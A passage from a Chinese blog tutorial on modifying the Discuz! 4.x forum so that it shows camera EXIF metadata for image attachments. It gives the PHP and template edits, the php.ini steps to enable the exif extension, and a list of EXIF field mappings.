#000000">&nbsp;</span><span style="COLOR: #008080">function_exists</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">read_exif_data</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)){<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;@read_exif_data(</span><span style="COLOR: #800080">$discuz_root</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">./attachments/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$attach</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>[attachment]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">EXIF</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ExifVersion</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]){<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$attach</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">exif</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">EXIF版本：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">EXIF</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ExifVersion</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;相机品牌：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">IFD0</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Make</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;相机型号：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">IFD0</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Model</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;光圈：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">COMPUTED</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ApertureFNumber</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;快门：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">EXIF</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ExposureTime</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;感光度ISO：</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">EXIF</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>[ISOSpeedRatings];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">-------------------------------</span><span style="COLOR: #008000">*/</span></div>
<br>2、修改模版viewthread.htm<br><strong>FOR D4.x</strong><br>查找：<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">img&nbsp;src</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">$attachurl/$attach[attachment]</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;border</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;onload</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">if(this.width&gt;screen.width*0.7)&nbsp;{this.resized=true;&nbsp;this.width=screen.width*0.7;&nbsp;this.alt='{lang&nbsp;image_open_zoom}';}</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;onmouseover</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">if(this.resized)&nbsp;this.style.cursor='hand';</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;onclick</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">if(!this.resized)&nbsp;{return&nbsp;false;}&nbsp;else&nbsp;{window.open('$attachurl/$attach[attachment]');}</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;onmousewheel</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">return&nbsp;imgzoom(this);</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span></div>
<br>后面填入：&lt;br&gt;$attach['exif']<br><strong>注意：<br></strong>本hack主要利用了read_exif_data函数，该函数是不用gd库的，但是在默认情况下这个函数是无法使用的，打开该函数的方法如下：<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">UNIX</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">LINUX：编译PHP的时候，应该加上&nbsp;</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">enable</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">exif选项，<br>Windows：&nbsp;<br></span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">、在PHP</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">ini里面，找到&nbsp;;extension</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">php_exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">dll&nbsp;去掉分号。<br></span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">、找到[exif]段，把下面语句的分号去掉。<br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">encode_unicode&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;ISO</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">8859</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000"><br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">decode_unicode_motorola&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;UCS</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">2BE<br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">decode_unicode_intel&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;UCS</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">2LE<br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">encode_jis&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;<br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">decode_jis_motorola&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;JIS<br>;exif</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">decode_jis_intel&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;JIS</span></div>
<br>对于大部分jpg图片都是没有可用的EXIF信息的，除非是最近的数码作品。<br><br><strong>最后提供点参数给有特殊需求的专业人士：（以下加入的格式可参照修改viewthread.php中的基本格式）<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">"</span><span style="COLOR: #000000">文件名</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">=&gt;</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #008080">FILE</span><span style="COLOR: #000000">][FileName]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">文件类型</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">=&gt;</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$imgtype</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$exif</span><span style="COLOR: #000000">[</span><span style="COLOR: #008080">FILE</span><span style="COLOR: #000000">][</span><span style="COLOR: #008080">FileType</span><span style="COLOR: #000000">]]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;<br>文件格式</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[FILE][MimeType],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">文件大小</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[FILE][FileSize],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">时间戳</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;date(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Y</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">m</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">d&nbsp;H</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">i</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,$exif[FILE][FileDateTime]),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">图片说明</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][ImageDescription],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">制造商</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][Make],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">型号</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][Model],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">方向</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$Orientation[$exif[IFD0][Orientation]],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">水平分辨率</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][XResolution].$ResolutionUnit[$exif[IFD0][ResolutionUnit]],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">垂直分辨率</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][YResolution].$ResolutionUnit[$exif[IFD0][ResolutionUnit]],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">创建软件</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][Software],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">修改时间</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][DateTime],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">作者</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][Artist],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">YCbCr位置控制</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$YCbCrPositioning[$exif[IFD0][YCbCrPositioning]],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">版权</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[IFD0][Copyright],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">摄影版权</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][Copyright.Photographer],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">编辑版权</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][Copyright.Editor],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Exif版本</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ExifVersion],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">FlashPix版本</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Ver</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.number_format($exif[EXIF][FlashPixVersion]/100,2),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">拍摄时间</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][DateTimeOriginal],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">数字化时间</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][DateTimeDigitized],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">拍摄分辨率高</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][Height],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">拍摄分辨率宽</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][Width],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">光圈</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ApertureValue],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">快门速度</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ShutterSpeedValue],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">快门光圈</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][ApertureFNumber],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">最大光圈值</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">F</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.$exif[EXIF][MaxApertureValue],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">曝光时间</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ExposureTime],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">F</span><span style="COLOR: #000000">-</span><span style="COLOR: #0000ff">Number</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][FNumber],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">测光模式</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetImageInfoVal($exif[EXIF][MeteringMode],$MeteringMode_arr),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">光源</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetImageInfoVal($exif[EXIF][LightSource],&nbsp;$Lightsource_arr),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">闪光灯</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetImageInfoVal($exif[EXIF][Flash],&nbsp;$Flash_arr),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">曝光模式</span><span style="COLOR: #000000">"</span><span style="COLOR: 